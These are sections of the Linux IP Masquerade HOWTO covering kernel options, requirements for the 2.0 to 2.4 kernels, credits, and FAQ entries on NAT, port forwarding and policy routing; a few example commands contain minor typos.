    ==   IDE controllers, HDs, CDROMs, etc.

[ Networking options ]

  * Network firewalls (CONFIG_FIREWALL) [Y/n/?] y
    - YES: Enables the IPFWADM firewall tool

  == Non-MASQ options skipped
  ==   (Aliasing)

  * TCP/IP networking (CONFIG_INET) [Y/n/?] y
    - YES: Enables the TCP/IP protocol

  * IP: forwarding/gatewaying (CONFIG_IP_FORWARD) [N/y/?] y
    - YES: Enables Linux network packet forwarding and routing
           - Controlled by IPFWADM

  * IP: multicasting (CONFIG_IP_MULTICAST) [N/y/?] y
    - OPTIONAL:  You can enable this if you want to be able to receive
                 Multicast traffic.  Please note that your ISP must
                 support Multicast as well for this all to work

  * IP: syn cookies (CONFIG_SYN_COOKIES) [Y/n/?] y
    - YES: HIGHLY recommended for basic network security

  * IP: firewalling (CONFIG_IP_FIREWALL) [Y/n/?] y
    - YES: Enable the packet firewall features

  * IP: firewall packet logging (CONFIG_IP_FIREWALL_VERBOSE) [Y/n/?] y
    - YES: Allows the kernel to report back on various packets traversing
           the firewall.

  * IP: masquerading (CONFIG_IP_MASQUERADE [Y/n/?] y
    - YES: Enable the kernel to perform IP MASQ NAT functionality

  * IP: ipautofw masquerade support (EXPERIMENTAL) (CONFIG_IP_MASQUERADE_IPAUTOFW) [Y/n/?] n
    - NO:  NOT Recommended : IPautofw is a legacy method of TCP/IP port forwarding.
           Though IPautofw works, IPPORTFW is a better choice.

  * IP: ipportfw masq support (EXPERIMENTAL) (CONFIG_IP_MASQUERADE_IPPORTFW) [Y/n/?] y
    - YES: This option is ONLY AVAILABLE VIA A PATCH for the 2.0.x kernels.
           With this option, external computers on the Internet can directly
           communicate to specified internal MASQed machines.  This feature is
           typically used to access internal SMTP, TELNET, and WWW servers.
           FTP port forwarding sometimes might require an additional patch as
           described in the FAQ section.  Additional information on port
           forwarding is available in the Forwards section of this HOWTO.

  * IP: MS PPTP masq support (EXPERIMENTAL) (CONFIG_IP_MASQUERADE_PPTP) [N/y/?] (NEW) n
    - OPTIONAL: Enabling this feature will allow internal MASQ clients to
          properly connect to PPTP servers on the Internet.

  * IP: MS PPTP Call ID masq support (CONFIG_IP_MASQUERADE_PPTP_MULTICLIENT) [N/y/?] (NEW) n
    - OPTIONAL:  If you enabled the CONFIG_IP_MASQUERADE_PPTP above, this
          option will allow for multiple internal PPTP clients behind the MASQ
          server to communicate to the same PPTP server.

  * IP: MS PPTP masq debugging (DEBUG_IP_MASQUERADE_PPTP) [N/y/?] n
    - OPTIONAL:  NOT recommended : This is not required for IP MASQ or MASQing PPTP
           connections unless you need additional troubleshooting help.  If enabled,
           this can fill up your logs quickly.

  * IP: MS PPTP masq verbose debugging (DEBUG_IP_MASQUERADE_PPTP_VERBOSE) [N/y/?] (NEW) n
    - OPTIONAL: NOT Recommended : If you enabled the DEBUG_IP_MASQUERADE_PPTP
           option above, this will make the logging even more verbose.

  * IP: IPSEC ESP & ISAKMP masq support (EXPERIMENTAL) * (CONFIG_IP_MASQUERADE_IPSEC) [N/y/?] m
    - OPTIONAL: This option allows for some forms of IPSEC tunnels to be
           masquraded

  * IP: IPSEC masq table lifetime (minutes) (CONFIG_IP_MASQUERADE_IPSEC_EXPIRE) * [30] (NEW)
    - OPTIONAL: This feature allows to change the MASQ table timeouts so that
      idle IPSEC tunnels won't be prematurely disconnected.

  * IP: Disable inbound ESP destination guessing * (CONFIG_IP_MASQUERADE_IPSEC_NOGUESS) [N/y/?] n
    - OPTIONAL: This feature allows the kernel to guess where the fully encrypted IPSEC VPN
           might be going and add it to the MASQ table.

  * IP: IPSEC masq debugging (DEBUG_IP_MASQUERADE_IPSEC) [N/y/?] ? n
    - OPTIONAL:  NOT recommended : This is not required for IP MASQ or MASQing IPSEC
           connections unless you need additional troubleshooting help.  If enabled,
           this can fill up your logs quickly.

  * IP: IPSEC masq verbose debugging (DEBUG_IP_MASQUERADE_IPSEC_VERBOSE) [N/y/?] (NEW) n
    - OPTIONAL: NOT Recommended : If you enabled the DEBUG_IP_MASQUERADE_IPSEC
           option above, this will make the logging even more verbose.

  * IP: ICMP masquerading (CONFIG_IP_MASQUERADE_ICMP) [Y/n/?]
    - YES: Enable support for masquerading ICMP packets. Though thought of as
           optional, many programs will NOT function properly with out ICMP
           support.

  * IP: transparent proxy support (EXPERIMENTAL) (CONFIG_IP_TRANSPARENT_PROXY) [N/y/?] n
    - OPTIONAL:  Not needed for normal MASQ functionality though people who
           want to do transparent proxy via Squid will want this.  Please note
           that there is a PERFORMANCE PENALTY enabling this feature.

  * IP: loose UDP port managing (EXPERIMENTAL) (CONFIG_IP_MASQ_LOOSE_UDP) [Y/n/?]
    - YES: This option is ONLY AVAILABLE VIA A PATCH for the 2.0.x kernels.
           With this option, internally masqueraded computers can play
           NAT-friendly games over the Internet.  Explicit details are given
           in the FAQ section of this HOWTO.

  * IP: always defragment (CONFIG_IP_ALWAYS_DEFRAG) [Y/n/?]
    - YES:  This feature optimizes IP MASQ connections

  == Non-MASQ options skipped
  ==   (Accounting)

  * IP: optimize as router not host (CONFIG_IP_ROUTER) [Y/n/?]
    - YES:  This optimizes the kernel for the network subsystem

  == Non-MASQ options skipped
  ==   (Tunneling, Mcast routing, RARP, PMTU, etc.)

  * IP: Drop source routed frames (CONFIG_IP_NOSR) [Y/n/?]
    - YES: HIGHLY recommended for basic network security

  == Non-MASQ options skipped
  ==   (IPX, Bridging, SCSI, etc.)

    == Don't forget to compile in support for hardware that you might need:
    ==   SCSI controllers, HDs, CDROMs, etc.

[ Network device support ]

  * Network device support (CONFIG_NETDEVICES) [Y/n/?]
    - YES: Enables the Linux Network device sublayer

  == Non-MASQ options skipped
  ==   (Dummy, EQL, PPP, SLIP, NICs, Wireless, etc.)

    == Don't forget to compile in support for hardware that you might need:
    ==   NICs:   eth, tr, etc.
    ==   MODEMs: ppp and/or slip
    ==   WANs:   T1, T3, ISDN, etc.
    ==   ISDN:   for internal ISDN modems

[ File systems ]

  == Non-MASQ options skipped
  ==   (Quota, ISO9660, Codepages, NTFS, etc )

  * /proc filesystem support (CONFIG_PROC_FS) [Y/n/?]
    - YES:  Required to dynamically configure the Linux forwarding
            and NATing systems

 [ Character devices ]

  == Non-MASQ options skipped
  ==   (multi-port serial, parallel, mice, Ftape, Sound, etc. )

    == Don't forget to compile in serial port support for modem users
    == Don't forget to compile in mouse support

So go ahead and "exit" and you should be prompted to save your config.

NOTE: These are only components for IP Masquerade functionality. You may need to also select additional options to match your specific network and hardware setup.

  • Now compile the kernel (make dep; make clean; make bzImage; make modules; make modules_install) , etc. Again, it is beyond the scope of this HOWTO if you have problems compiling your kernel. Please see Section 2.8 for URLs to the KERNEL howto, etc.

  • You will then have move over the kernel binary, update your bootloader (LILO, Grub, etc.), and reboot. If you have questions about kernel compiling, I highly recommend to consult some of the URLs above in this section.

  • Then you should add a few lines towards the bottom of your /etc/rc.d/rc.local file to load the IP Masquerade ruleset automatically after each reboot:
            .
        .
        .
    #rc.firewall script - Start IPMASQ and the firewall
    /etc/rc.d/rc.firewall
        .
        .
        .

Prev | Home | Next
Compiling a new kernel if needed | Up | Assigning Private Network IP Addresses to the Internal LAN


Introduction

Linux IP Masquerade HOWTO
Prev Next

Chapter 1. Introduction

Table of Contents
1.1. Introduction to IP Masquerading or IP MASQ
1.2. Foreword, Feedback & Credits
1.3. Copyright & Disclaimer
Prev | Home | Next
Linux IP Masquerade HOWTO |  | Introduction to IP Masquerading or IP MASQ


Introduction to IP Masquerading or IP MASQ

Linux IP Masquerade HOWTO
Prev Chapter 1. Introduction Next

1.1. Introduction to IP Masquerading or IP MASQ

This document describes how to enable the Linux IP Masquerade feature on a given Linux host. IP Masquerade, called "IPMASQ" or "MASQ" for short, is a form of Network Address Translation (NAT) which allows internally connected computers that do not have one or more registered Internet IP addresses to communicate to the Internet via the Linux server's Internet IP address. Since IPMASQ is a generic technology, you can connect the Linux server's internal and external to other computers through LAN technologies like Ethernet, TokenRing, and FDDI, as well as dialup connections line PPP or SLIP links. This document primarily uses Ethernet and PPP connections in examples because it is most commonly used with DSL / Cablemodems and dialup connections.

"This document is intended for systems running stable Linux kernels like 2.4.x, 2.2.x, and 2.0.x preferably on an IBM-compatible PC. IP Masquerade does work on other Linux-supported platforms like Sparc, Alpha, PowerPC, etc. but this HOWTO doesn't cover them in as much detail. Older kernels such as the 2.3.x, 2.1.x, and ANY kernels less than 2.0.x are NOT covered in this document. The primary reason for this is because many of the older kernels are considered broken. If you are using an older kernel version, it is highly advisable to upgrade to one of the stable Linux kernels before using IP Masquerading. "

Prev | Home | Next
Introduction | Up | Foreword, Feedback & Credits


Foreword, Feedback & Credits

Linux IP Masquerade HOWTO
Prev Chapter 1. Introduction Next

1.2. Foreword, Feedback & Credits

From the original IPMASQ HOWTO author:

"As a new user, I found it very confusing to setup IP masquerade on the Linux kernel, (back then, its was a 1.2.x kernel). Although there was a FAQ and a mailing list, there was no documentation dedicated to this. There was also some requests on the mailing list for a HOWTO manual. So, I decided to write this HOWTO as a starting point for new users and possibly create a building block for other knowledgeable users. If you, the reader, have any additional ideas, corrections, or questions about this document, please feel free to contact us. "

This document was originally written by Amrbose Au back in August, 1996, based on the 1.x kernel IPMASQ FAQ written by Ken Eves and numerous helpful messages from the original IP Masquerade mailing list. In particular, a mailing list message from Matthew Driver inspired Ambrose to set up IP Masquerade and eventually write version 0.80 of this HOWTO. In April 1997, Ambrose created the Linux IP Masquerade Resource Web site at http://ipmasq.cjb.net which has provided up-to-date information on Linux IP Masquerading ever since. In February 1999, David Ranch took over maintenance of the HOWTO. David then re-wrote the HOWTO and added a substantial number of sections to the document. Today, the HOWTO is still maintained by David where he also recently updated it to support the 2.4.x kernels.

Please feel free to send any feedback or comments regarding this HOWTO to dranch@trinnet.net if you have any corrections or if any information/URLs/etc. is missing. Your invaluable feedback will certainly influence the future of this HOWTO!

This HOWTO is meant to be a fairly comprehensive guide to getting your Linux IP Masquerading system working in the shortest time possible. David only plays a technical writer on T.V. so you might find the information in this document not as general and/or objective as it could be. If you think a section could be clearer, etc.. please let David know. The latest version of the MASQ HOWTO can be found at Dranch's Linux Page. Additional news, mirrors of the HOWTO, and information regarding IPMASQ can be found at the IP Masquerade Resource web page. If you have any technical questions on IP Masquerade, please join the IP Masquerade Mailing List instead of sending email to David or Ambrose. Most MASQ problems are -common- for ALL MASQ users and can be easily solved by users on the list. In addition to this, the response time of the IP MASQ email list will be much faster than a reply from either David or Ambrose.

The latest version of this document can be found at the following sites which also contains HTML, Postscript, PDF, etc. versions

  • Dranch's Linux page

  • http://ipmasq.cjb.net/: The IP Masquerade Resources

  • http://ipmasq2.cjb.net/: The IP Masquerade Resources MIRROR

  • The Linux Documentation Project

  • Also refer to IP Masquerade Resource Mirror Sites Listing for other local mirrored sites.

Prev | Home | Next
Introduction to IP Masquerading or IP MASQ | Up | Copyright & Disclaimer


Copyright & Disclaimer

Linux IP Masquerade HOWTO
Prev Chapter 1. Introduction Next

1.3. Copyright & Disclaimer

This document is copyright(c) 2001 for David A. Ranch and it is a FREE document. You may redistribute it under the terms of the GNU General Public License.

The information herein this document is, to the best of David's knowledge, correct. However, the Linux IP Masquerade feature is written by humans and thus, the chance of mistakes, bugs, etc. might occur from time to time.

No person, group, or other body is responsible for any damage on your computer(s) and any other losses by using the information on this document. i.e.

"THE AUTHORS AND ALL MAINTAINERS ARE NOT RESPONSIBLE FOR ANY DAMAGES INCURRED DUE TO ACTIONS TAKEN BASED ON THE INFORMATION IN THIS DOCUMENT. "

Ok, with all this behind us... On with the show..

Prev | Home | Next
Foreword, Feedback & Credits | Up | Background Knowledge


Problems with IP Masquerade

Linux IP Masquerade HOWTO
Prev Chapter 6. Other IP Masquerade Issues and Software Support Next

6.1. Problems with IP Masquerade

Some TCP/IP application protocols will not currently work with Linux IP Masquerading because they either assume things about port numbers or encode TCP/IP addresses and/or port numbers in their data stream. These latter protocols need specific proxies or IP MASQ modules built into the masquerading code to make them work.

Prev | Home | Next
Other IP Masquerade Issues and Software Support | Up | Incoming services


Other IP Masquerade Issues and Software Support

Linux IP Masquerade HOWTO
Prev Next

Chapter 6. Other IP Masquerade Issues and Software Support

Table of Contents
6.1. Problems with IP Masquerade
6.2. Incoming services
6.3. Supported Client Software and Other Setup Notes
6.3.1. Network Clients that -Work- with IP Masquerade
6.3.2. Clients that do not have full support in IP MASQ:
6.4. Stronger firewall rulesets to run after initial testing
6.4.1. Stronger IP Firewall (IPTABLES) rulesets
6.4.2. Stronger IP Firewall (IPCHAINS) rulesets
6.4.3. Stronger IP Firewall (IPFWADM) Rulesets
6.5. IP Masquerading multiple internal networks
6.6. IP Masquerade and Dial-on-Demand Connections
6.7. IPPORTFW, IPMASQADM, IPAUTOFW, REDIR, UDPRED, and other Port Forwarding tools
6.7.1. 2.4.x PORTFWD'ing: Using IPTABLE's PREROUTING option for 2.4.x kernels
6.7.2. 2.2.x PORTFWD'ing: Using IPMASQADM with 2.2.x kernels
6.7.3. 2.0.x PORTFWD'ing: Using IPPORTFW on 2.0.x kernels
6.8. CU-SeeMe and Linux IP-Masquerade
6.9. Mirabilis ICQ
6.10. Gamers: The LooseUDP patch
Prev | Home | Next
Any remaining functional, performance, etc. issues... |  | Problems with IP Masquerade


( IPROUTE2 ) - I need different internal MASQed networks to exit on different external IP addresses

Linux IP Masquerade HOWTO
Prev Chapter 7. Frequently Asked Questions Next

7.36. ( IPROUTE2 ) - I need different internal MASQed networks to exit on different external IP addresses

Say you have the following setup: You have multiple internal networks and also multiple external IP addresses and/or networks. What you want to do is have LAN #1 to only use External IP #1 but you wan LAN #2 to use External IP #2.

Internal LAN ----------> official IP

LAN #1 External IP #1 192.168.1.x --> 123.123.123.11

LAN #2 External IP #2 192.168.2.x --> 123.123.123.12

Basically, what we have described here is routing NOT only on the destination address (typical IP routing) but also routing based upon the SOURCE address as well. This is typically called "policy-based routing" or "source routing". This functionality is NOT available in 2.0.x kernels, it *IS* available for 2.2.x kernels via the IPROUTE2 package, and it is not built into the new 2.4.x kernels using IPTABLES.

First, you have to understand that both IPFWADM and IPCHAINS get involved *AFTER* the routing system has decided where to send a given packet. This statement really ought to be stamped in big red letters on all IPFWADM/IPCHAINS/IPMASQ documentation. The reason for this is that users MUST first have their routing setup correct, then start adding IPFWADM/IPCHAINS and/or Masq features.

Anyways, for the example case shown above, you will need to persuade the routing system to direct packets from 192.168.1.x via 123.123.1233.11 and packets from 192.168.2.x via 123.123.123.12. That is the hardest part and adding Masq on top of correct routing is easy.

To do this fancy routing, you will use IPROUTE2. Because this functionality has NOTHING to do with IPMASQ, this HOWTO does not cover this topic in great detail. Please see Section 2.7 for complete URLs and documentation for this topic.

The "iprule" and "iproute" commands are the same as "ip rule" and "ip route" commands (I prefer the former since it is easier to search for.) All the commands below are completely untested, if they do not work, please contact the author of IPROUTE2.. not David Ranch or anyone on the Masq email list as it has NOTHING to do with IP Masquerading.

The first few commands only need to be done once at boot, say in /etc/rc.d/rc.local file.

# Allow internal LANs to route to each other, no masq.
  /sbin/iprule add from 192.168.0.0/16 to 192.168.0.0/16 table main pref 100
# All other traffic from 192.168.1.x is external, handle by table 101
  /sbin/iprule add from 192.168.1.0/24 to 0/0 table 101 pref 102
# All other traffic from 192.168.2.x is external, handle by table 102
  /sbin/iprule add from 192.168.2.0/24 to 0/0 table 102 pref 102

These commands need to be issued when eth0 is configured, perhaps in
/etc/sysconfig/network-scripts/ifup-post (for Redhat systems).  Be sure to
do them by hand first to make sure they work.

# Table 101 forces all assigned packets out via 123.123.123.11
  /sbin/iproute add table 101 via 62123.123.123.11
# Table 102 forces all assigned packets out via 123.123.123.12
  /sbin/iproute add table 102 via 62123.123.123.12

At this stage, you should find that packets from 192.168.1.x to the
outside world are being routed via 123.123.123.11, packets from
192.168.2.x are routed via 123.123.123.12.

Once routing is correct, now you can add any IPFWADM or IPCHAINS rules.
The following examples are for IPCHAINS:

/sbin/ipchains -A forward -i ppp+ -j MASQ

If everything hangs together, the masq code will see packets being
routed out on 123.123.123.11 and 123.123.123.12 and will use those addresses
as the masq source address.

Prev | Home | Next
( SMTP Relay ) - Internal MASQed computers cannot send SMTP or POP-3 mail! | Up | ( IPCHAINS vs. IPFWADM ) - Why do the new 2.1.x and 2.2.x kernels use IPCHAINS instead of IPFWADM?


( IRC DCC ) - mIRC doesn't work with DCC Sends

Linux IP Masquerade HOWTO
Prev Chapter 7. Frequently Asked Questions Next

7.25. ( IRC DCC ) - mIRC doesn't work with DCC Sends

This is a configuration problem on your copy of mIRC. To fix this, first disconnect mIRC from the IRC server. Now in mIRC, go to File --> Setup and click on the "IRC servers tab". Make sure that it is set to port 6667. If you require other ports, see below. Next, goto File --> Setup --> Local Info and clear the fields for Local Host and IP Addresses. Now select the checkboxes for "LOCAL HOST" and "IP address" (IP address may be checked but disabled). Next under "Lookup Method", configure it for "normal". It will NOT work if "server" is selected. That's it. Try to the IRC server again.

If you require IRC server ports other than 6667, (for example, 6969) you need to edit the /etc/rc.d/rc.firewall startup file where you load the IRC MASQ modules. Edit this file and the line for "modprobe ip_masq_irc" and add to this line "ports=6667,6969". You can add additional ports as long as they are separated with commas.

Finally, close down any IRC clients on any MASQed machines and re-load the IRC MASQ module:

/sbin/rmmod ip_masq_irc /etc/rc.d/rc.firewall

Prev | Home | Next
( IDENT ) - IRC won't work properly for MASQed IRC users. Why? | Up | ( IP Aliasing ) - Can IP Masquerade work with only ONE Ethernet network card?


Requirements for IP Masquerade on Linux 2.0.x

Linux IP Masquerade HOWTO
Prev Chapter 2. Background Knowledge Next

2.8. Requirements for IP Masquerade on Linux 2.0.x

" ** Please refer to IP Masquerade Resource for the latest information. ** "

  • Any decent computer hardware. See Section 7.2 for more details.

  • The 2.0.x kernel source is available from http://www.kernel.org/.

    NOTE: Most modern Linux Section 7.1 that natively come with 2.0.x kernels are typically modular kernels and have all the IP Masquerade functionality already included. In such cases, there is no need to compile a new Linux kernel. If you are UPGRADING your kernel, you should be aware of other programs that might be required and/or need to be upgraded as well (mentioned later in this HOWTO).

  • Loadable kernel modules, preferably 2.1.85 or newer is available from http://www.pi.se/blox/modutils/index.html or ftp://ftp.kernel.org/pub/linux/utils/kernel/modutils (modules-1.3.57 is the minimal requirement)

  • A properly configured and running TCP/IP network running on the Linux machine as covered in Linux NET-3-4 HOWTO and the Network Administrator's GuideAlso check out the TrinityOS document which is also authored by David Ranch. TrinityOS is a very comprehensive guide to Linux networking. Topics include IP MASQ, security, DNS, DHCP, Sendmail, PPP, Diald, NFS, IPSEC-based VPNs, performance issues, and many more. There exists over fifty sections in all!

  • Connectivity to the Internet for your Linux host is covered in Linux ISP Hookup HOWTO, Linux PPP HOWTO, and TrinityOS. Other helpful HOWTOs could include: Linux DHCP mini-HOWTO, Linux Cable Modem mini-HOWTO and Linux DSL HOWTO

  • Ipfwadm 2.3 or newer is available from ftp://ftp.xos.nl/pub/linux/ipfwadm/ipfwadm-2.3.tar.gz

  • More information on version requirements are on the Linux IPFWADM page

  • If you are interested in running IPCHAINS on a 2.0.x+ kernel, see Willy Tarreau's IPCHAINS enabler for 2.0.36+ or Rusty's IPCHAINS for 2.0.x kernels. Please note that these patches are NOT compatible with the IPPORTFW patches for the 2.0.x kernels. Unfortunately, its an either/or deal.

  • Know how to configure, compile, and install a new Linux kernel as described in the Linux Kernel HOWTO. This HOWTO does cover kernel compiling but only for IP Masquerade related options.

Here is a list of IP Masquerading patches for 2.0.x kernels:

  • Steven Clarke's IP PortForwarding (IPPORTFW) - RECOMMENDED

  • IP AutoForward and a mirror (IPAUTOFW) - NOT Recommended

  • REDIR for TCP (REDIR) - NOT Recommended unless required for internal PORTFW

  • UDP redirector (UDPRED) - NOT Recommended

  • PORTFWed FTP:

    • If you are going to port forward FTP traffic to an internal FTP server, you might need to download Fred Viles's FTP server patch via HTTP or Fred Viles's FTP server patch via FTP. The reason for "might" is that some users have had success without the use of these pathches, while others need it. Explicit details on this topic can be found in Section 6.7 of this HOWTO.

  • X-Windows display forwarders:

    • X-windows forwarding (DXCP)

  • ICQ MASQ module

    • Andrew Deryabin's ICQ MASQ module for 2.2.x and 2.0.x kernels

  • PPTP (GRE) and SWAN (IPSEC) VPNs tunneling forwarders:

    • If you plan connecting an internal MASQed PC to a remote PPTP server, you MUST INSTALL the PPTP-Masquerade kernel patch available from the URLsbelow. If you plan on having external PPTP users connect to an internal masqueraded PPTP server, not only do you need the kernel patch installed but you also need PORTFW support enabled in the kernel. Please see the following URLs for the patches and more information:

      John Hardin's VPN Masquerade forwarders or the old patch for just PPTP Support.

  • Game specific patches:

    • Glenn Lamb's LooseUDP for 2.0.36+ patch.

Prev | Home | Next
Requirements for IP Masquerade on Linux 2.2.x | Up | Setting Up IP Masquerade


Requirements for IP Masquerade on Linux 2.2.x

Linux IP Masquerade HOWTO
Prev Chapter 2. Background Knowledge Next

2.7. Requirements for IP Masquerade on Linux 2.2.x

" ** Please refer to IP Masquerade Resource for the latest information. ** "

  • Any decent computer hardware. See Section 7.2 for more details.

  • The 2.2.x kernel source is available from http://www.kernel.org/.

    NOTE: Most modern Linux Section 7.1 that natively come with 2.2.x kernels are typically modular kernels and have all the IP Masquerade functionality already included. In such cases, there is no need to compile a new Linux kernel. If you are UPGRADING your kernel, you should be aware of other programs that might be required and/or need to be upgraded as well (mentioned later in this HOWTO).

    • NOTE #1: --- UPDATE YOUR KERNEL --- Linux 2.2.x kernels less than version 2.2.20 contain several different security vulnerabilities (some were MASQ specific). Kernels less than 2.2.20 have a few local vulnerabilities. Kernel versions less than 2.2.16 have a TCP root exploit vulnerability and versions less than 2.2.11 have a IPCHAINS fragmentation bug. Because of these issues, users running a firewall with strong IPCHAINS rulesets are open to possible instrusion. Please upgrade your kernel to a fixed version.

  • NOTE #2: Some newer Section 7.1 such as Redhat 5.2 might not be Linux 2.2.x ready (upgradable). Tools like DHCP, NetUtils, etc. will need to be upgraded. More details can be found later in the HOWTO.

  • Loadable kernel modules, preferably 2.1.121 or higher, are available from http://www.pi.se/blox/modutils/index.html or ftp://ftp.kernel.org/pub/linux/utils/kernel/modutils

  • A properly configured and running TCP/IP network running on the Linux machine as covered in Linux NET-3-4 HOWTO and the Network Administrator's Guide . Also check out the TrinityOS document which is also authored by David Ranch. TrinityOS is a very comprehensive guide for Linux networking. Some topics include IP MASQ, security, DNS, DHCP, Sendmail, PPP, Diald, NFS, IPSEC-based VPNs, and performance sections, to name a few. There are over Fifty sections in all!

  • Connectivity to the Internet for your Linux host covered in Linux ISP Hookup HOWTO, Linux PPP HOWTO, and TrinityOS. Other helpful HOWTOs could include: Linux DHCP mini-HOWTO, Linux Cable Modem mini-HOWTO and http://www.linuxdoc.org/HOWTO/DSL-HOWTO/index.html

  • IP Chains 1.3.10 or newer are available from http://netfilter.filewatcher.org/ipchains/ (mirror at Samba.org). Additional information on version requirements for the newest IPCHAINS HOWTO, etc is located at the Linux IP Chains page (mirror at Samba.org)

  • Know how to configure, compile, and install a new Linux kernel as described in the Linux Kernel HOWTO. This HOWTO does cover kernel compiling but only for IP Masquerade related options.

Other optional patches and tools for 2.2.x kernels

  • TCP/IP port-forwarding or re-directing:

    • IP PortForwarding (IPMASQADM) - RECOMMENDED, IPMASQADM mirrir, or his old mirror.

  • ICQ MASQ module

    • Andrew Deryabin's ICQ MASQ module for 2.2.x and 2.0.x kernels

  • PORTFW FTP Solutions:

    • There are 2.2.x and 2.0.x kernel MASQ Module solutions for PORTFWed FTP to a MASQed machine (put an FTP server behind a MASQ server). Please see the Application Page on the IPMASQ WWW site for full details. Please note that this is not required for 2.4.x kernels.

      There is a full FTP proxy application from SuSe that will also allow PORTFWed-like functionality to reach an internal FTP server. For more details, please refer to the SuSe Proxy URL.

  • IPROUTE2 for True 1:1 NAT, Policy-based (source) routing, and Traffic Shaping:

    • ftp://ftp.inr.ac.ru/ip-routing

    • Documentation can be found at http://www.compendium.com.ar/policy-routing.txt

    • The Advanced Routing HOWTO

    • http://defiant.coinet.com/iproute2/

      Some source code mirrors are at:

      ftp://linux.wauug.org/pub/net

      ftp://ftp.nc.ras.ru/pub/mirrors/ftp.inr.ac.ru/ip-routing/ --- ftp://ftp.gts.cz/MIRRORS/ftp.inr.ac.ru/

      ftp://ftp.funet.fi/pub/mirrors/ftp.inr.ac.ru/ip-routing/ (STM1 to USA) --- ftp://sunsite.icm.edu.pl/pub/Linux/iproute/

      ftp://ftp.sunet.se/pub/Linux/ip-routing/ --- ftp://ftp.nvg.ntnu.no/pub/linux/ip-routing/

      ftp://ftp.crc.ca/pub/systems/linux/ip-routing/ --- ftp://ftp.paname.org (France)

      ftp://donlug.ua/pub/mirrors/ip-route/ --- ftp://omni.rk.tusur.ru/mirrors/ftp.inr.ac.ru/ip-routing/

      RPMs are available at ftp://omni.rk.tusur.ru/Tango/ and at ftp://ftp4.dgtu.donetsk.ua/pub/RedHat/Contrib-Donbass/KAD

Please see the IP Masquerade Resource page for more information available on these patches and possibly others as well.

Prev | Home | Next
Requirements for IP Masquerade on Linux 2.4.x | Up | Requirements for IP Masquerade on Linux 2.0.x


Requirements for IP Masquerade on Linux 2.4.x

Linux IP Masquerade HOWTO
Prev Chapter 2. Background Knowledge Next

2.6. Requirements for IP Masquerade on Linux 2.4.x

" ** Please refer to IP Masquerade Resource for the latest information. ** "

  • The newest 2.4.x kernels are now using both a completely new TCP/IP network stack as well as a new NAT sub-system called NetFilter. Within this NetFilter suite of tools, we now have a tool called IPTABLES for the 2.4.x kernels much like there was IPCHAINS for the 2.2.x kernels and IPFWADM for the 2.0.x kernels. The new IPTABLES system is far more powerful (combines several functions into one place like true NAT functionality), offers better security (stateful inspection), and better performance with the new 2.4.x TCP/IP stack. But this new suite of tools can be a bit complicated in comparison to older generation kernels. Hopefully if you carefully follow along with this HOWTO it won't be too bad. If you find anything unclear, downright wrong, etc. please email David about it.

    Unlike the migration to IPCHAINS from IPFWADM, the new NetFilter tool has kernel modules that can actually support older IPCHAINS and IPFWADM rulesets with minimal changes. So re-writing your old MASQ or firewall ruleset scripts is not longer required. Please keep in mind that there might be several benefits in performing a full ruleset re-write to take advantage of the newer IPTABLES features like stateful tracking, etc. but that is dependant upon how much time you have to migrate your old rulesets.

Some new 2.4.x functionalities include the following:

PROs:

  • TRUE 1:1 NAT functionality for those who have TCP/IP addresses and subnets to use (no more iproute2 commands)

  • Built-in PORT Forwarding (no more ipmasqadm or ipportfw commands)

  • The built-in PORTFW'ing support works for both external and internal traffic. This means that users that have PORTFW for external traffic and REDIR for internal port redirection do not need to use two tools any more!

  • PORT Forwarding of FTP traffic to internal hosts is now completely supported and is handled in the conn_trak_ftp module

  • Full Policy-Based routing features (source-based TCP/IP address routing)

  • Compatibility with Linux's FastRoute feature for significantly faster packet forwarding (a.k.a Linux network switching).

    Note that this feature is still not compatible with packet filtering for strong firewall rulesets.

  • Fully supports TCP/IP v4, v6, and even DECnet (ack!)

  • Supports wildcard interface names like "ppp*" for serial interfaces like ppp0, ppp1, etc

  • Supports filtering on both input and output INTERFACES (not just IP addresses)

  • Source Ethernet MAC filtering

  • Denial of Service (DoS) packet rate limiting

  • Stateful TCP/UDP/ICMP network traffic inspection

  • Packet REJECTs now have user-selectable return ICMP messages

  • Variable levels of logging (different packets can go to different SYSLOG levels)

  • Other features like traffic mirroring, securing traffic per login, etc.

CONs:

  • Netfilter is an entirely new architechure thus most of the older 2.2.x MASQ kernel modules written to make non-NAT friendly network applications work through IPMASQ need to be re-written for the 2.4.x kernels. Because of this, if you specifically need functionality from some of these modules (see below), you should stay with a 2.2.x kernel until these modules have been ported. If you are curious on the porting status of a given module, please email the author of the module and NOT David or Ambrose. We don't code.. we just document. :-)

    Here is the status of the known IP Masq kernel modules or patches as found on the IPMASQ WWW site's Application Support Matrix. If you have the time and knowledge to help in the porting of code, your efforts would be highly appreciated:

     Status   = Module name =      Description and notes
---------   -----------   ----------------------------------
NotPorted     CuSeeme     Used for Video conferencing

NotPorted   DirectPlay    Used for online Microsoft-based games

 Ported        FTP        Used for file transfers
                          - NOTEs:  Built into the kernel and
                                    fully supports PORTFWed FTP

NotPorted     H.323       Used for Video conferencing

NotPorted      ICQ        Used for Instant messaging

 Ported        Irc        Used for Online chat rooms
                          - NOTEs: Not included in the kernel.
                                   Part of the extra iptables package

NotPorted     Quake       Used for online Quake games

Beta Avail    PPTP        Allow for multiple clients to the same server

NotPorted   Real Audio    Used for Streaming video / audio

NotPorted    VDO Live     Used for Streaming audio?

    Documentation on how to perform MASQ module porting is available at http://netfilter.filewatcher.org/unreliable-guides/netfilter-hacking-HOWTO-5.html (mirror at Samba.org), If you have the time and knowledge, your talent would highly be appreciated in porting these modules.

If you'd like to read up more on NetFilter and IPTables, please see: http://netfilter.filewatcher.org/unreliable-guides (mirror at Samba.org), and more specifically http://netfilter.filewatcher.org/unreliable-guides/NAT-HOWTO/index.html

Linux 2.4.x IP Masquerade requirements include:

  • Any decent computer hardware. See Section 7.2 for more details.

  • The 2.4.x kernel source is available from http://www.kernel.org/.

    NOTE: Most modern Linux Section 7.1 that natively come with 2.4.x kernels are typically modular kernels and have all the IP Masquerade functionality already included. In such cases, there is no need to compile a new Linux kernel. If you are UPGRADING your kernel, you should be aware of other programs that might be required and/or need to be upgraded as well (mentioned later in this HOWTO).

  • The program "iptables" version 1.2.4 or newer archive available from http://netfilter.filewatcher.org/ (mirror at Samba.org),.

    • NOTE #1: All versions of IPTABLES less than 1.2.3 have a FTP module issue that can bypass any existing firewall rulesets. ALL IPTABLES users are highly recommended to upgrade to the newest version. The URL is above.

      NOTE #2: All versions of IPTABLES less than 1.2.2 have a FTP "port" security vulnerability in the ip_conntrack_ftp module. All IPTABLES users are highly recommended to upgrade to the newest version. The URL is above.

